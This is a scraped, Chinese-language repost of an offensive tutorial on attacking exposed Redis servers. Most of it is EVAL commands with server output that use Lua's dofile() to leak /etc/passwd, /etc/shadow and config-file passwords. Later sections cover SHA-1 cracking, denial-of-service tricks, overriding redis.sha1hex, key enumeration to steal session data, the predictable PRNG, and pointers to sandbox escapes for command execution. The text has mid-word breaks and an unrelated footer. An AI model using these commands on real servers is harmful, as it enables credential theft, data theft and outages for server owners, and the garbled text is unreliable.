Trying to hack Redis via HTTP requests
發(fā)表時間:2023-09-10 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]EVAL “ return dofile('/etc/passwd')” 0-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /et...
EVAL “ return dofile('/etc/passwd')” 0
-ERR Error running script (call to f_afd
c51b5f9e34e
ced5f
ae459fc1d856af181aaf1): /etc/passwd:1: function argumen
ts expected near ':'
EVAL “return dofile('/etc/shadow')” 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Perm
ission den
ied
EVAL “return dofile('/var/www/') ” 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28d
cffe81f23): cannot read /var/www/: Is a directory
EVAL “return dofile('/var/www/tmp_upl
oad/') ”0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No s
uch file or directory
EVAL “return dofile('/home/ubuntu/.bashrc')” 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e46683
5e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'
如果Lua腳本有語法錯誤或者嘗試設(shè)置全局變量時,會產(chǎn)生報錯信息,可以獲得一些我們想要的信息
EVAL “return dofile('/etc/issue')” 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5
eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'
EVAL “return dofile('/etc/lsb-release')” 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'
EVAL “return dofile('/etc/hosts')” 0
-ERR Error running script (call to f_1c25ec3da3
cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'
還有一種情況,但是并不是很常見,就是調(diào)用dofile()這個函數(shù)去處理有效的Lua文件,然后返回提前定義好的值,假設(shè)這里有一個文件/var/data/app/db.conf
db = {
login = 'john.d
oe',
passwd = 'Uber31337',
}
通過Lua腳本得到passwd的值
EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337
這個也可以獲取Unix標(biāo)準(zhǔn)文件的一些信息:
EVAL “dofile('/etc/environment');return(PATH);” 0
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
+OK /usr/bin/nano
0x07 暴力破解
Redis提供一個redis.sha1hex()函數(shù),可以被Lua腳本調(diào)用,所以還可以通過Redis服務(wù)器進(jìn)行SHA-1的破解,相關(guān)代碼在adam_bal
dwin 的GitHub上(htt
ps://github.com/evilpacket/redis-sha-crack),相關(guān)原理的描述在
(http://fr.slideshare
.net/evilpacket/ev1lsha-misad
ventures-in-the-land-of-lua需要********)
0x08 Dos
這里有很多Dos Redis的方法,例如通過調(diào)用sh
utdown這個命令刪除數(shù)據(jù)。
這里有更加有趣的兩個例子:
1)在Redis的控制端,調(diào)用dofile()不加任何參數(shù),將會從標(biāo)準(zhǔn)輸入讀取數(shù)據(jù),并把讀取的數(shù)據(jù)認(rèn)為是Lua腳本。這個時候服務(wù)器依舊在運(yùn)行,但是不會去處理新的連接,直到在控制端讀取到”^D”(或者重啟)。
2)Sha1hex()函數(shù)可以被覆蓋(在任何一個客戶端都可以實(shí)現(xiàn)這個效果)。下面展示一個返回固定值的sha1hex()函數(shù)
Lua腳本:
print(redis.sha1hex('secret'))
function redis.sha1hex (x)
print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))
在Redis的控制端上
# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242
# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242
0x09 數(shù)據(jù)竊取
如果Redis服務(wù)器存儲一些有趣的數(shù)據(jù)(像session cookie或商業(yè)數(shù)據(jù)),你可以通過get枚舉鍵值,獲取數(shù)據(jù)。
0x0A 加密
Lua使用完全可以預(yù)測的”隨機(jī)數(shù)”,細(xì)節(jié)在scripting.c的evalGenericCommand()函數(shù)中
/* We w
ant the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);
每一次Lua腳本調(diào)用math.random()函數(shù)產(chǎn)生的隨機(jī)數(shù)都是相同數(shù)字流:
0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]
0x0b 遠(yuǎn)程命令執(zhí)行
為了在開放的Redis服務(wù)器上進(jìn)行命令執(zhí)行,有以下三種情況:
首先能夠修改底層的字節(jié)碼,能夠進(jìn)行
虛擬機(jī)的逃逸。(Lua的一個例子https://gist.github.com/corsix/6575486);或者是繞過全局保護(hù)并且試圖訪問一些有趣的函數(shù)。
繞過全局保護(hù)是很輕松的(stackover
flow上有一個例子
http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而這么有趣的模塊并不能加載,順便提一下,在這里還有很多有趣的東西(http://lua-users.org/wiki/SandBoxes)。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費(fèi)電腦中毒的煩擾。